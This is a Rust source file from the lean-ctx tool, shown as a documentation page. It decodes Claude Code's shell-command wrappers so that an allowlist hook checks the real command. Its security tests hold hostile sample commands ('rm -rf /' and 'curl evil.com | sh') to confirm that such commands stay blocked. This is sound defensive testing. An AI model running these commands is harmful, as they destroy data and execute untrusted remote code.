lean-ctx 3.9.18

Context Runtime for AI Agents with CCP. 71 MCP tools, 10 read modes, 95+ compression patterns, cross-session memory (CCP), persistent AI knowledge with temporal facts + contradiction detection, multi-agent context sharing, LITM-aware positioning, AAAK compact format, adaptive compression with Thompson Sampling bandits. Supports 24+ AI tools. Reduces LLM token consumption by up to 99%.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
//! Look through an AI agent's own command-execution scaffolding so the lean-ctx
//! shell hook gates/compresses the REAL command, not the host's wrapper.
//!
//! Claude Code wraps every Bash tool call before handing it to the shell.
//!
//! **Path A — bash redirect shape** (assembled in Claude Code's `bashProvider.ts`):
//!
//! ```text
//! source <snapshot> 2>/dev/null || true && shopt -u extglob 2>/dev/null || true && eval '<cmd>' [< /dev/null] && pwd -P >| /tmp/claude-XXXX-cwd
//! ```
//!
//! **Path B — zsh sandbox shape** (Claude Code with `sandbox.enabled`, GitHub #745):
//!
//! ```text
//! setopt NO_EXTENDED_GLOB NO_BARE_GLOB_QUAL 2>/dev/null || true && eval '<cmd>' < /dev/null && pwd
//! ```
//!
//! The leading scaffold (`source`/`shopt`/`setopt`) and any `< /dev/null` are
//! intentionally dropped on unwrap: PATH is already inherited via the
//! environment (only shell *aliases* from the snapshot are lost, which the inner
//! command rarely needs), and re-attaching `< /dev/null` to the bare inner
//! command would clobber fd 0 of an inner heredoc/stdin redirect (the bug class
//! in anthropics/claude-code#58938). Only the real command and the trailing cwd
//! tracking survive.
//!
//! The lean-ctx shell hook (`~/.zshenv` / `~/.bashenv`) forwards the WHOLE line
//! to `lean-ctx -c "$ZSH_EXECUTION_STRING"`. The allowlist then hard-blocks the
//! `eval` at command position (exit 126) — for EVERY command, because the wrapper
//! shape is identical each time (GitHub #595). zsh sources `.zshenv` on every
//! non-interactive `zsh -c`, so virtually every Claude Code Bash call dies.
//!
//! The fix looks THROUGH the wrapper: it extracts the real `<cmd>` and the
//! cwd-snapshot target, then rebuilds accordingly. For Path A the rebuild is
//! `"<cmd> && pwd -P >| <file>"`. For Path B (stdout cwd) it is `"<cmd> && pwd"`.
//! The real command runs through the normal allowlist + compression pipeline
//! (gate-clean — `lean-ctx`/`git`/`pwd` are all default-allowlisted), and the
//! host's working-directory tracking is preserved in both variants.
//!
//! Detection is intentionally tight: Path A requires `eval` at command position
//! AND a cwd-snapshot redirect into a host file (`…-cwd` / `claude-…`). Path B
//! requires `eval` AND host scaffold markers (`setopt NO_EXTENDED_GLOB` /
//! `shopt -u extglob`) AND a trailing bare `pwd`. A bare `eval` the model itself
//! chose is therefore never silently unwrapped — it keeps hitting the allowlist
//! exactly as before.

/// A decoded agent command wrapper.
#[derive(Debug, Clone, PartialEq, Eq)]
pub(crate) struct Unwrapped {
    /// The real command the agent asked to run (the decoded `eval` argument).
    pub inner: String,
    /// The cwd-snapshot target (`pwd -P >| <file>`), preserved so the host's
    /// working-directory tracking keeps working after we unwrap (Path A).
    pub cwd_snapshot: Option<String>,
    /// True when the host captures cwd via stdout (`&& pwd`) rather than a file
    /// redirect. `rebuild()` must re-append `&& pwd` so the host still learns
    /// the post-command working directory (Path B — zsh sandbox, #745).
    pub stdout_cwd: bool,
}

impl Unwrapped {
    /// Re-emit a command for the normal pipeline: the real command with the
    /// cwd tracking re-appended, so the host still learns the post-command cwd.
    ///
    /// We deliberately do NOT reconstruct any leading `cd "$(cat …-cwd)"`
    /// restore: the shell hook already runs inside the cwd the host spawned the
    /// command in, so only the trailing snapshot has to survive.
    pub(crate) fn rebuild(&self) -> String {
        // #939: bare concatenation (`{inner} && pwd ...`) corrupts `inner`
        // when its last line is a heredoc terminator (the terminator must be
        // the ENTIRE line to match, so appending text after it breaks the
        // heredoc) or a `#` comment (which silently swallows the appended
        // `&& pwd ...`, so cwd tracking stops working). A brace group with an
        // explicit newline before the closing `}` puts inner's last line
        // alone on its own line unconditionally, so both cases are safe —
        // the group's exit status is inner's, so `&&` gating is unchanged.
        match &self.cwd_snapshot {
            Some(file) => format!("{{ {}\n}} && pwd -P >| {file}", self.inner),
            None if self.stdout_cwd => format!("{{ {}\n}} && pwd", self.inner),
            None => self.inner.clone(),
        }
    }
}

/// Detect a host command wrapper and decode the real command inside it.
///
/// Returns `None` for anything that is not unmistakably host-generated
/// scaffolding (see the module docs for why detection is tight).
pub(crate) fn unwrap_agent_wrapper(command: &str) -> Option<Unwrapped> {
    // #745 v4: sandbox-exec wraps the whole inner command in
    // `/bin/{zsh,bash} -c '<inner>'`. Strip this outer shell invocation
    // before detection so the trailing quote does not break pwd detection.
    if let Some(inner) = strip_outer_shell_invocation(command) {
        return unwrap_agent_wrapper(&inner);
    }

    // Path A: redirect-based cwd snapshot (existing #595 fix, unchanged).
    let cwd_snapshot = find_cwd_snapshot(command);
    if cwd_snapshot.is_some() {
        let inner = extract_eval_command(command)?;
        if inner.trim().is_empty() {
            return None;
        }
        return Some(Unwrapped {
            inner,
            cwd_snapshot,
            stdout_cwd: false,
        });
    }

    // Path B: stdout-cwd variant (zsh sandbox — #745).
    // Requires BOTH host scaffold markers AND trailing bare pwd.
    // A model-chosen `eval 'x' && pwd` without scaffold stays blocked.
    if has_host_scaffold(command) && has_trailing_bare_pwd(command) {
        let inner = extract_eval_command(command)?;
        if inner.trim().is_empty() {
            return None;
        }
        return Some(Unwrapped {
            inner,
            cwd_snapshot: None,
            stdout_cwd: true,
        });
    }

    None
}

/// Extract + decode the argument of an `eval` that sits at command position.
fn extract_eval_command(command: &str) -> Option<String> {
    let arg_start = find_eval_arg_start(command)?;
    decode_shell_word(&command[arg_start..])
}

/// Byte offset of an `eval` argument (right after `eval `), when `eval` is a
/// full token at command position (string start or after `&&`/`||`/`;`/`|`/`&`/
/// newline) and outside any quotes. Pure byte scanning — never slices the
/// string at a non-char boundary, so arbitrary UTF-8 payloads are safe.
fn find_eval_arg_start(command: &str) -> Option<usize> {
    let bytes = command.as_bytes();
    let len = bytes.len();
    let mut i = 0;
    let mut in_single = false;
    let mut in_double = false;
    let mut at_cmd_pos = true;

    while i < len {
        let c = bytes[i];
        if in_single {
            if c == b'\'' {
                in_single = false;
            }
            i += 1;
            continue;
        }
        if in_double {
            if c == b'"' {
                in_double = false;
            }
            i += 1;
            continue;
        }
        match c {
            b'\'' => {
                in_single = true;
                at_cmd_pos = false;
                i += 1;
            }
            b'"' => {
                in_double = true;
                at_cmd_pos = false;
                i += 1;
            }
            b' ' | b'\t' => i += 1,
            b'\n' | b';' | b'&' | b'|' => {
                at_cmd_pos = true;
                i += 1;
            }
            _ => {
                if at_cmd_pos
                    && bytes[i..].starts_with(b"eval")
                    && bytes.get(i + 4).is_some_and(|b| *b == b' ' || *b == b'\t')
                {
                    return Some(i + 4);
                }
                at_cmd_pos = false;
                i += 1;
            }
        }
    }
    None
}

/// Decode one shell word, honoring single quotes (byte-literal), double quotes
/// (with `\"`, `\\`, `\$`, `` \` `` escapes), backslash escapes and adjacent
/// quote concatenation (`'a'"b"c`). Stops at the first UNQUOTED whitespace or
/// shell operator. Returns the decoded text, or `None` for an empty/unterminated
/// word.
fn decode_shell_word(s: &str) -> Option<String> {
    let bytes = s.as_bytes();
    let len = bytes.len();
    let mut i = 0;
    let mut out: Vec<u8> = Vec::new();
    let mut started = false;

    while i < len && (bytes[i] == b' ' || bytes[i] == b'\t') {
        i += 1;
    }

    while i < len {
        match bytes[i] {
            b'\'' => {
                started = true;
                i += 1;
                while i < len && bytes[i] != b'\'' {
                    out.push(bytes[i]);
                    i += 1;
                }
                if i >= len {
                    return None; // unterminated single quote
                }
                i += 1;
            }
            b'"' => {
                started = true;
                i += 1;
                while i < len && bytes[i] != b'"' {
                    if bytes[i] == b'\\'
                        && i + 1 < len
                        && matches!(bytes[i + 1], b'"' | b'\\' | b'$' | b'`')
                    {
                        out.push(bytes[i + 1]);
                        i += 2;
                        continue;
                    }
                    out.push(bytes[i]);
                    i += 1;
                }
                if i >= len {
                    return None; // unterminated double quote
                }
                i += 1;
            }
            b'\\' if i + 1 < len => {
                started = true;
                out.push(bytes[i + 1]);
                i += 2;
            }
            b' ' | b'\t' | b'\n' | b'<' | b'>' | b'&' | b'|' | b';' => break,
            c => {
                started = true;
                out.push(c);
                i += 1;
            }
        }
    }

    if !started {
        return None;
    }
    Some(String::from_utf8_lossy(&out).into_owned())
}

/// Strip an outer `/bin/{zsh,bash,sh} -c '<inner>'` invocation that
/// `sandbox-exec` may wrap around the real command (#745 v4). Returns the
/// extracted inner command, or `None` if the command is not this shape.
fn strip_outer_shell_invocation(command: &str) -> Option<String> {
    let trimmed = command.trim();
    // Match common shell paths: /bin/zsh, /usr/bin/zsh, /bin/bash, /bin/sh, zsh, bash
    let rest = trimmed
        .strip_prefix("/bin/zsh")
        .or_else(|| trimmed.strip_prefix("/usr/bin/zsh"))
        .or_else(|| trimmed.strip_prefix("/bin/bash"))
        .or_else(|| trimmed.strip_prefix("/usr/bin/bash"))
        .or_else(|| trimmed.strip_prefix("/bin/sh"))
        .or_else(|| trimmed.strip_prefix("/usr/bin/sh"))?;
    let rest = rest.trim_start();
    let rest = rest.strip_prefix("-c")?;
    let rest = rest.trim_start();
    // The argument must be a single-quoted or double-quoted string
    let quote = rest.as_bytes().first().copied();
    if matches!(quote, Some(b'\'' | b'"'))
        && rest.len() >= 2
        && rest.as_bytes().last().copied() == quote
    {
        Some(rest[1..rest.len() - 1].to_string())
    } else {
        None
    }
}

/// True when the command prefix (before any `eval`) contains agent-host scaffold
/// markers that are not plausibly model-generated. These are versioned
/// fingerprints tied to Claude Code's bash/zsh sandbox runtimes.
fn has_host_scaffold(command: &str) -> bool {
    const MARKERS: &[&str] = &[
        "setopt NO_EXTENDED_GLOB",
        "setopt NO_BARE_GLOB_QUAL",
        "shopt -u extglob",
    ];
    let prefix = command.find("eval ").map_or(command, |i| &command[..i]);
    MARKERS.iter().any(|m| prefix.contains(m))
}

/// True when the command ends with a bare `&& pwd [flags]` (stdout capture, no
/// file redirect). This is the zsh sandbox variant of cwd tracking. Covers all
/// observed Claude Code variants: `&& pwd`, `&& pwd -P`, `&& pwd -` (#745 v3).
fn has_trailing_bare_pwd(command: &str) -> bool {
    let trimmed = command.trim_end();
    let Some(last_and) = trimmed.rfind("&& ") else {
        return false;
    };
    let after_and = trimmed[last_and + 3..].trim();
    // Must start with `pwd` as a standalone token
    if !after_and.starts_with("pwd") {
        return false;
    }
    let rest = after_and[3..].trim();
    // After `pwd` only flags (starting with -) or nothing — no redirect
    if rest.is_empty() {
        return true;
    }
    rest.split_whitespace()
        .all(|tok| tok.starts_with('-') && !tok.contains('>'))
}

/// Extract the cwd-snapshot target of a trailing `pwd … >| <file>` (or `> <file>`)
/// when `<file>` is clearly a host cwd-snapshot file. `None` otherwise.
fn find_cwd_snapshot(command: &str) -> Option<String> {
    let pwd_idx = command.rfind("pwd")?;
    let after = &command[pwd_idx..];
    let redirect_pos = after.find(">|").or_else(|| after.find('>'))?;
    let target = after[redirect_pos..]
        .trim_start_matches('>')
        .trim_start_matches('|')
        .trim();
    let file = target.split_whitespace().next()?;
    if !file.is_empty() && is_cwd_snapshot_path(file) {
        Some(file.to_string())
    } else {
        None
    }
}

/// True when a redirect target is recognisably a host cwd-snapshot file. Keys on
/// the stable naming hosts use (`…-cwd`, `claude-…`) so a user command that
/// merely redirects `pwd` somewhere is never mistaken for the wrapper.
fn is_cwd_snapshot_path(file: &str) -> bool {
    file.ends_with("-cwd") || file.contains("claude-") || file.contains("/claude")
}

#[cfg(test)]
mod tests {
    use super::*;

    /// The exact wrapper from GitHub #595 (username redacted), with the
    /// `'"'"'` single-quote-escaping Claude emits around the inner command.
    const ISSUE_595: &str = "shopt -u extglob 2>/dev/null || true && eval '/home/u/.local/lib/node_modules/lean-ctx-bin/bin/lean-ctx -c '\"'\"'git branch -r --contains HEAD'\"'\"'' < /dev/null && pwd -P >| /tmp/claude-87b7-cwd";

    #[test]
    fn unwraps_issue_595_wrapper() {
        let u = unwrap_agent_wrapper(ISSUE_595).expect("must detect the #595 wrapper");
        assert_eq!(
            u.inner,
            "/home/u/.local/lib/node_modules/lean-ctx-bin/bin/lean-ctx -c 'git branch -r --contains HEAD'"
        );
        assert_eq!(u.cwd_snapshot.as_deref(), Some("/tmp/claude-87b7-cwd"));
    }

    #[test]
    fn rebuild_is_gate_clean_for_595() {
        let u = unwrap_agent_wrapper(ISSUE_595).unwrap();
        let rebuilt = u.rebuild();
        // No `eval` survives — the allowlist's hard block can no longer fire.
        assert!(!rebuilt.contains("eval "), "eval must be gone: {rebuilt}");
        assert!(rebuilt.ends_with("&& pwd -P >| /tmp/claude-87b7-cwd"));
        assert!(rebuilt.starts_with("{ /home/u/.local"));
    }

    #[test]
    fn unwraps_raw_inner_command() {
        // A non-rewritten command (no inner `lean-ctx -c`) still unwraps so it
        // reaches the allowlist + compression on the real command.
        let cmd = "shopt -u extglob 2>/dev/null || true && eval 'cargo build --release' < /dev/null && pwd -P >| /tmp/claude-aa11-cwd";
        let u = unwrap_agent_wrapper(cmd).expect("must detect");
        assert_eq!(u.inner, "cargo build --release");
        assert_eq!(u.cwd_snapshot.as_deref(), Some("/tmp/claude-aa11-cwd"));
        assert_eq!(
            u.rebuild(),
            "{ cargo build --release\n} && pwd -P >| /tmp/claude-aa11-cwd"
        );
    }

    // --- heredoc-corruption fix: rebuild() must never fuse the cwd-tracking
    // suffix onto inner's last line (breaks heredoc terminators, silently
    // swallowed by trailing `#` comments) ---

    #[test]
    fn rebuild_preserves_heredoc_terminator_with_file_snapshot() {
        let cmd = "shopt -u extglob 2>/dev/null || true && eval 'cat <<'\"'\"'EOF'\"'\"'\nhello\nEOF' < /dev/null && pwd -P >| /tmp/claude-hd1-cwd";
        let u = unwrap_agent_wrapper(cmd).expect("must detect heredoc wrapper");
        assert_eq!(u.inner, "cat <<'EOF'\nhello\nEOF");
        let rebuilt = u.rebuild();
        // The heredoc terminator line must be exactly "EOF" — nothing appended
        // after it on that line, or the shell never recognizes the delimiter.
        let terminator_line = rebuilt.lines().nth(2).expect("rebuilt has 3+ lines");
        assert_eq!(
            terminator_line, "EOF",
            "heredoc terminator must be alone on its line: {rebuilt:?}"
        );
        assert_eq!(
            rebuilt,
            "{ cat <<'EOF'\nhello\nEOF\n} && pwd -P >| /tmp/claude-hd1-cwd"
        );
    }

    #[test]
    fn rebuild_preserves_heredoc_terminator_stdout_cwd() {
        let cmd = "setopt NO_EXTENDED_GLOB NO_BARE_GLOB_QUAL 2>/dev/null || true && eval 'cat <<'\"'\"'EOF'\"'\"'\nhello\nEOF' < /dev/null && pwd";
        let u = unwrap_agent_wrapper(cmd).expect("must detect heredoc zsh-sandbox wrapper");
        assert_eq!(u.inner, "cat <<'EOF'\nhello\nEOF");
        assert!(u.stdout_cwd);
        let rebuilt = u.rebuild();
        let terminator_line = rebuilt.lines().nth(2).expect("rebuilt has 3+ lines");
        assert_eq!(
            terminator_line, "EOF",
            "heredoc terminator must be alone on its line: {rebuilt:?}"
        );
        assert_eq!(rebuilt, "{ cat <<'EOF'\nhello\nEOF\n} && pwd");
    }

    #[test]
    fn rebuild_does_not_swallow_trailing_comment_pwd() {
        // A `#` comment as inner's last line must not silently consume the
        // appended `&& pwd ...` (comments run to end-of-line in shell).
        let u = Unwrapped {
            inner: "echo hi # a trailing comment".to_string(),
            cwd_snapshot: Some("/tmp/claude-cmt-cwd".to_string()),
            stdout_cwd: false,
        };
        let rebuilt = u.rebuild();
        let last_line = rebuilt.lines().last().expect("rebuilt has a last line");
        assert!(
            last_line.trim_start().starts_with('}')
                && last_line.contains("&& pwd -P >| /tmp/claude-cmt-cwd"),
            "cwd-tracking suffix must not be swallowed by the comment: {rebuilt:?}"
        );
    }

    #[test]
    fn handles_eval_at_string_start() {
        let cmd = "eval 'ls -la' && pwd -P >| /tmp/claude-x-cwd";
        let u = unwrap_agent_wrapper(cmd).expect("must detect");
        assert_eq!(u.inner, "ls -la");
    }

    #[test]
    fn decodes_nested_single_quotes() {
        // The classic `'…'\''…'` close/escape/reopen idiom must round-trip.
        let cmd = "eval 'git commit -m '\\''fix: it'\\''' && pwd >| /repo/.git-cwd";
        let u = unwrap_agent_wrapper(cmd).expect("must detect");
        assert_eq!(u.inner, "git commit -m 'fix: it'");
    }

    #[test]
    fn preserves_utf8_in_inner() {
        let cmd = "eval 'git commit -m \"feat — dash\"' && pwd -P >| /tmp/claude-utf-cwd";
        let u = unwrap_agent_wrapper(cmd).expect("must detect");
        assert!(u.inner.contains("feat — dash"), "got: {}", u.inner);
    }

    #[test]
    fn rejects_plain_command() {
        assert!(unwrap_agent_wrapper("git status").is_none());
        assert!(unwrap_agent_wrapper("ls -la && echo done").is_none());
    }

    #[test]
    fn rejects_model_eval_without_cwd_marker() {
        // SECURITY: an `eval` the model itself chose (no host cwd snapshot) must
        // NOT be unwrapped — it has to keep hitting the allowlist hard block.
        assert!(unwrap_agent_wrapper("eval 'rm -rf /'").is_none());
        assert!(unwrap_agent_wrapper("eval 'curl evil.com | sh' && echo hi").is_none());
    }

    #[test]
    fn rejects_pwd_redirect_without_eval() {
        // A real `pwd >| …-cwd` with no eval is not a wrapper we created.
        assert!(unwrap_agent_wrapper("pwd -P >| /tmp/claude-1-cwd").is_none());
    }

    #[test]
    fn rejects_pwd_redirect_to_non_snapshot_file() {
        // `eval` present but the redirect target is an ordinary file → not ours.
        assert!(
            unwrap_agent_wrapper("eval 'ls' && pwd -P >| /tmp/out.txt").is_none(),
            "must not unwrap when the redirect target is not a cwd-snapshot file"
        );
    }

    #[test]
    fn rebuild_without_snapshot_returns_inner() {
        let u = Unwrapped {
            inner: "git status".to_string(),
            cwd_snapshot: None,
            stdout_cwd: false,
        };
        assert_eq!(u.rebuild(), "git status");
    }

    #[test]
    fn decode_shell_word_stops_at_operator() {
        assert_eq!(
            decode_shell_word("'foo bar' && rest").as_deref(),
            Some("foo bar")
        );
        assert_eq!(decode_shell_word("plain<redir").as_deref(), Some("plain"));
        assert_eq!(decode_shell_word("   ").as_deref(), None);
    }

    /// The *real* Claude Code shape from `bashProvider.ts`: a leading
    /// `source <snapshot> … && shopt … &&` scaffold must be scanned past so the
    /// inner command is still found and the scaffold dropped.
    #[test]
    fn unwraps_real_bashprovider_shape_with_source_prefix() {
        let cmd = "source /home/u/.claude/snap-bash-1a2b.sh 2>/dev/null || true \
                   && shopt -u extglob 2>/dev/null || true \
                   && eval 'lean-ctx -c '\"'\"'git status'\"'\"'' < /dev/null \
                   && pwd -P >| /tmp/claude-9f3c-cwd";
        let u = unwrap_agent_wrapper(cmd).expect("must detect the real bashProvider shape");
        assert_eq!(u.inner, "lean-ctx -c 'git status'");
        assert_eq!(u.cwd_snapshot.as_deref(), Some("/tmp/claude-9f3c-cwd"));
        let rebuilt = u.rebuild();
        // Scaffold gone (no source/shopt/eval survive the unwrap).
        assert!(
            !rebuilt.contains("source "),
            "source must be dropped: {rebuilt}"
        );
        assert!(
            !rebuilt.contains("shopt "),
            "shopt must be dropped: {rebuilt}"
        );
        assert!(
            !rebuilt.contains("eval "),
            "eval must be dropped: {rebuilt}"
        );
        assert_eq!(
            rebuilt,
            "{ lean-ctx -c 'git status'\n} && pwd -P >| /tmp/claude-9f3c-cwd"
        );
    }

    /// A snapshot path that itself contains the substring `eval` (e.g. a user
    /// named `eval`) must NOT be mistaken for the `eval` command — it is not at a
    /// command position.
    #[test]
    fn snapshot_path_containing_eval_is_not_a_false_match() {
        let cmd = "source /home/eval-user/snap.sh 2>/dev/null || true && eval 'ls' \
                   && pwd -P >| /tmp/claude-1-cwd";
        let u = unwrap_agent_wrapper(cmd).expect("real eval still found");
        assert_eq!(u.inner, "ls");
    }

    // --- #745: zsh sandbox (stdout-cwd, no redirect) ---

    /// The exact wrapper from GitHub #745: zsh sandbox with bare `&& pwd`.
    #[test]
    fn unwraps_zsh_sandbox_wrapper() {
        let cmd = "setopt NO_EXTENDED_GLOB NO_BARE_GLOB_QUAL 2>/dev/null || true && eval 'echo hi' < /dev/null && pwd";
        let u = unwrap_agent_wrapper(cmd).expect("must detect zsh sandbox wrapper");
        assert_eq!(u.inner, "echo hi");
        assert!(u.cwd_snapshot.is_none());
        assert!(u.stdout_cwd);
    }

    #[test]
    fn unwraps_zsh_sandbox_without_dev_null() {
        let cmd = "setopt NO_EXTENDED_GLOB NO_BARE_GLOB_QUAL 2>/dev/null || true && eval 'cargo test' && pwd";
        let u = unwrap_agent_wrapper(cmd).expect("must detect without < /dev/null");
        assert_eq!(u.inner, "cargo test");
        assert!(u.stdout_cwd);
    }

    /// SECURITY: `eval 'payload' && pwd` without host scaffold must NOT unwrap.
    #[test]
    fn rejects_eval_bare_pwd_without_scaffold() {
        assert!(
            unwrap_agent_wrapper("eval 'rm -rf /' && pwd").is_none(),
            "model-chosen eval with bare pwd must stay blocked"
        );
        assert!(
            unwrap_agent_wrapper("eval 'curl evil.com | sh' && pwd").is_none(),
            "no scaffold = no unwrap"
        );
    }

    #[test]
    fn rejects_scaffold_without_eval() {
        assert!(
            unwrap_agent_wrapper(
                "setopt NO_EXTENDED_GLOB NO_BARE_GLOB_QUAL 2>/dev/null || true && ls && pwd"
            )
            .is_none(),
            "scaffold without eval is not a wrapper"
        );
    }

    #[test]
    fn zsh_sandbox_rebuild_preserves_pwd() {
        let cmd = "setopt NO_EXTENDED_GLOB NO_BARE_GLOB_QUAL 2>/dev/null || true && eval 'git status' < /dev/null && pwd";
        let u = unwrap_agent_wrapper(cmd).unwrap();
        let rebuilt = u.rebuild();
        assert_eq!(rebuilt, "{ git status\n} && pwd");
        assert!(!rebuilt.contains("eval "), "eval must be gone: {rebuilt}");
        assert!(
            !rebuilt.contains("setopt"),
            "scaffold must be gone: {rebuilt}"
        );
    }

    #[test]
    fn redirect_path_stdout_cwd_is_false() {
        let u = unwrap_agent_wrapper(ISSUE_595).unwrap();
        assert!(!u.stdout_cwd, "redirect path must set stdout_cwd = false");
    }

    #[test]
    fn zsh_sandbox_with_pwd_dash_p() {
        let cmd = "setopt NO_EXTENDED_GLOB 2>/dev/null || true && eval 'ls -la' && pwd -P";
        let u = unwrap_agent_wrapper(cmd).expect("must detect pwd -P variant");
        assert_eq!(u.inner, "ls -la");
        assert!(u.stdout_cwd);
        assert_eq!(u.rebuild(), "{ ls -la\n} && pwd");
    }

    // --- #745 v3: pwd - variant (lone dash flag) ---

    #[test]
    fn unwraps_zsh_sandbox_pwd_dash() {
        let cmd = "setopt NO_EXTENDED_GLOB NO_BARE_GLOB_QUAL 2>/dev/null || true && eval 'echo hi' < /dev/null && pwd -";
        let u = unwrap_agent_wrapper(cmd).expect("must detect pwd - variant");
        assert_eq!(u.inner, "echo hi");
        assert!(u.stdout_cwd);
        assert_eq!(u.rebuild(), "{ echo hi\n} && pwd");
    }

    // --- #745 v3: unquoted eval arg (eval pwd instead of eval 'pwd') ---

    #[test]
    fn unwraps_unquoted_eval_arg() {
        let cmd = "setopt NO_EXTENDED_GLOB NO_BARE_GLOB_QUAL 2>/dev/null || true && eval pwd < /dev/null && pwd -P >| /tmp/claude-xx-cwd";
        let u = unwrap_agent_wrapper(cmd).expect("must detect unquoted eval arg");
        assert_eq!(u.inner, "pwd");
        assert_eq!(u.cwd_snapshot.as_deref(), Some("/tmp/claude-xx-cwd"));
        assert!(!u.stdout_cwd);
    }

    #[test]
    fn unwraps_unquoted_eval_arg_stdout_cwd() {
        let cmd = "setopt NO_EXTENDED_GLOB NO_BARE_GLOB_QUAL 2>/dev/null || true && eval pwd < /dev/null && pwd -";
        let u = unwrap_agent_wrapper(cmd).expect("must detect unquoted eval + pwd -");
        assert_eq!(u.inner, "pwd");
        assert!(u.stdout_cwd);
    }

    // --- #745 v4: sandbox-exec outer shell wrapper ---

    #[test]
    fn unwraps_sandbox_exec_zsh_bare_pwd() {
        let cmd = "/bin/zsh -c 'setopt NO_EXTENDED_GLOB NO_BARE_GLOB_QUAL 2>/dev/null || true && eval echo < /dev/null && pwd'";
        let u = unwrap_agent_wrapper(cmd).expect("must unwrap sandbox-exec wrapper");
        assert_eq!(u.inner, "echo");
        assert!(u.stdout_cwd);
        assert_eq!(u.rebuild(), "{ echo\n} && pwd");
    }

    #[test]
    fn unwraps_sandbox_exec_zsh_pwd_dash_p() {
        let cmd = "/bin/zsh -c 'setopt NO_EXTENDED_GLOB NO_BARE_GLOB_QUAL 2>/dev/null || true && eval 'echo hi' < /dev/null && pwd -P'";
        let u = unwrap_agent_wrapper(cmd).expect("must unwrap pwd -P variant");
        assert!(u.stdout_cwd);
    }

    #[test]
    fn unwraps_sandbox_exec_bash_redirect() {
        let cmd = "/bin/bash -c 'shopt -u extglob 2>/dev/null || true && eval 'git status' && pwd -P >| /tmp/claude-abcd-cwd'";
        let u = unwrap_agent_wrapper(cmd).expect("must unwrap bash redirect variant");
        assert_eq!(u.cwd_snapshot.as_deref(), Some("/tmp/claude-abcd-cwd"));
    }

    #[test]
    fn unwraps_usr_bin_zsh_sandbox() {
        let cmd =
            "/usr/bin/zsh -c 'setopt NO_EXTENDED_GLOB 2>/dev/null || true && eval 'ls' && pwd'";
        let u = unwrap_agent_wrapper(cmd).expect("must unwrap /usr/bin/zsh");
        assert!(u.stdout_cwd);
    }

    #[test]
    fn rejects_non_shell_command_c() {
        assert!(unwrap_agent_wrapper("/bin/python3 -c 'print(1)'").is_none());
    }

    #[test]
    fn strip_outer_does_not_recurse_infinitely() {
        // A shell invocation wrapping a non-wrapper command must return None
        assert!(unwrap_agent_wrapper("/bin/zsh -c 'echo hello'").is_none());
    }
}